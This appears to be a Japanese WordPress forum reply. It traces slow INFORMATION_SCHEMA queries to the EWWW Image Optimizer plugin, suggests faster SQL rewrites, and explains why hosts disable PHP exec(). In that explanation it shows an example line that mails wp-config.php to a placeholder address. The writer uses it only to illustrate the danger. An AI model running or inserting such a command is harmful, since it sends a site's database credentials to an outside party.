MySQLのクエリ最適化について

INFORMATION_SCHEMA テーブルは、同じサーバを使っている全てのデータベースの情報が入っているメタテーブルで、WordPress はこんなところにアクセスしません。通常のテーマやプラグインもこんなことはしません。WordPress を経由せず、直接データベースにアクセスしているプログラムがサイトに存在しています。残念ながら、ここでは解決できませんので、サーバ会社に連絡してください。

「サーバからこんなメールが来た。WordPress フォーラムで聞いたら、クラックされている可能性が高いと言われた。どうしたらいいか」と、サーバ会社にメールを出すのがいいと思います。頑張って英語を書いてください。

念のため、サイトにアクセスするときには（管理画面も同様です）、ブラウザのタブを全て閉じ、Google+ や、Facebook や、Amazon などからログアウトした状態でサイトを開いてください。

すいません、間違えちゃいました。余計な心配をさせてしまって、申し訳ありません。お許しを。

INFORMATION_SCHEMA テーブルにアクセスするプラグインを見つけました。まさか、と思いましたが、ありました。EWWW Image Optimizer です。saintnature さん、これ使ってますか? 使っているなら、これが原因です。

aux-optimize.php の 117 行目に、

$temp_column = $wpdb->get_var("SELECT * FROM information_schema.COLUMNS WHERE TABLE_NAME = '$wpdb->ewwwio_images' AND COLUMN_NAME = 'temp'");

こんな部分がありました。まいりました。以下、罪滅ぼしの対策です。

とはいえ、SQL ステートメントとしてみると、単純なものなので、これを速度アップするのは難しいです。ためしに、

$temp_column = $wpdb->get_var("SELECT TABLE_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = '$wpdb->ewwwio_images' AND COLUMN_NAME = 'temp'");

と書き換えて、SELECT するカラムを限定するか、

$temp_column = $wpdb->get_var("DESC $wpdb->ewwwio_images temp");

のように、DESC（または SHOW COLUMNS）を使う形に書き換えてみてください。劇的に速くなる保証はありません。どちらを使っても結果は等価です。後者は、WordPress が データベースをアップグレードするときに使われている記法なので、これで時間がかかりすぎと言われたら、サーバを変えるほかにないかもしれません。

なお、サーバ会社には、「ミスリーディングな情報に振り回された」と知らせておいてください。重ね重ね申し訳ありません。

EWWW Image Optimizer　は、すでに削除されているということなので、問題の SQL は、もう実行されません。そのまま様子を見る、でいいと思います。

たぶんですが、NextGen Gallery を使っているか、使っていたのではないでしょうか? 内部を見ると、この EWWW Image Optimizer は、NextGen Gallery があると、そのデータを自分のテーブルにインポートするようになっていて（WordPress に限らず、プラグインって、よくこんなことをやります）、その過程で、上の SQL を Ajax 経由で実行するみたいです。

Ajax というのは、JavaScript と PHP を合わせて動作させる仕組みなのですが、サーバ側で重い処理をしていても、利用者から見ると動作が軽く見えるものなので、サーバ負荷を体感できないのです。

exec エラーは、次のような理由です。EWWW Image Optimizer は、画像処理の高速化のために、なんと、C 言語で書かれた実行ファイルを動かしています。アーカイブには、各 OS 用のバイナリ実行ファイルが入っていました。有効化するときに、OS を調べて、どれを使うかを決めるのですが、PHP の exec() 関数が使えないと、C の実行ファイルが動かせないので、エラーになります。この関数は、使い方によっては危険なので、サーバ側で使えないようにしているのですね。たとえば、

exec('cat wp-config.php | mail hoge@example.com');

とすると、wp-config.php を本文にしたメールが送信できたりするので（このままでは動作しません）、使用禁止ということです。

データベースに残ったテーブルについて。本来なら、プラグインが無効化、アンインストールされるときに、設定を保存したオプションデータやテーブル（または自分が作ったファイル）を削除するのが作法なのですが、こういったものを放置するプラグインが少なからず存在します。特にオプションデータは、いろいろなプラグインを試しにインストール、アンインストールなどとやっていると、知らない間に肥大化している、ということになりがちです。WordPress 本体は、この面倒を見ません。プラグイン作者を信頼する方針ですから。

EWWW Image Optimizer は、オプションデータは削除するようですが、残念ながら、自分で作った wp_ewwwio_images テーブルは削除しません。手動で削除して問題ないと思います。操作が心配なら、放っておいても問題はないでしょう。